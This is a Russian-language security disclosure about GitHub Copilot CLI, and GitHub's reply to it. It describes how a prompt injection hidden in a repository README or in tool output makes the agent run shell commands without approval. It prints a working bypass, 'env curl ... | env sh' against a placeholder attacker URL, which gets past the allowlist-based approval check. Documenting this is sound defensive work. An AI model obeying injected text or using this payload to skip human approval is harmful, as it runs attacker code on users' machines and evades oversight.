Уязвимость в GitHub Copilot CLI позволяет выполнять вредоносный код через инъекцию в промпт

Обзор уязвимости

GitHub Copilot CLI содержит уязвимости, которые подвергают пользователей риску выполнения произвольных команд оболочки через косвенную инъекцию промптов без одобрения пользователя. Вредоносное ПО может быть загружено с внешних серверов и выполнено без какого-либо взаимодействия с пользователем, кроме первоначального запроса к Copilot CLI.

Как работает атака

Цепочка атаки включает:

• Пользователь обращается к GitHub Copilot CLI при изучении репозитория с открытым исходным кодом
• Copilot сталкивается с инъекцией промпта, сохранённой в файле README клонированного репозитория (или других векторах, таких как результаты веб-поиска, результаты вызовов инструментов MCP, вывод терминальных команд)
• Вредоносная команда обходит системы одобрения с участием человека

Обход механизмов защиты

GitHub Copilot использует систему одобрения с участием человека, которая требует согласия пользователя перед выполнением потенциально опасных команд. Эта система активируется, если только:

• Пользователь явно настроил команду на автоматическое выполнение
• Команда является частью жёстко заданного «только для чтения» списка, найденного в исходном коде

Проверки доступа к внешним URL требуют одобрения пользователя для таких команд, как curl, wget или встроенного инструмента веб-загрузки Copilot. Однако злоумышленники могут обойти эти защиты, используя:

env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh

Команда env находится в жёстко заданном списке только для чтения, поэтому она выполняется автоматически без одобрения. Поскольку curl и sh передаются как аргументы в env, они некорректно анализируются и не идентифицируются валидатором как подкоманды. Это обходит проверки разрешений URL, которые зависят от обнаружения таких команд, как curl.

Ответ GitHub

GitHub ответил: «Мы рассмотрели ваш отчёт и подтвердили ваши выводы. После внутренней оценки мы определили, что это известная проблема, которая не представляет значительного риска безопасности. Мы можем сделать эту функциональность более строгой в будущем, но сейчас нам нечего анонсировать.»

Область действия и ограничения

Описанные уязвимости анализа команд специфичны для macOS. Однако GitHub Copilot демонстрирует дополнительные уязвимости, включая как риски, не зависящие от операционной системы, так и специфичные для Windows. Другие уязвимости анализа команд позволяют произвольное чтение и запись файлов.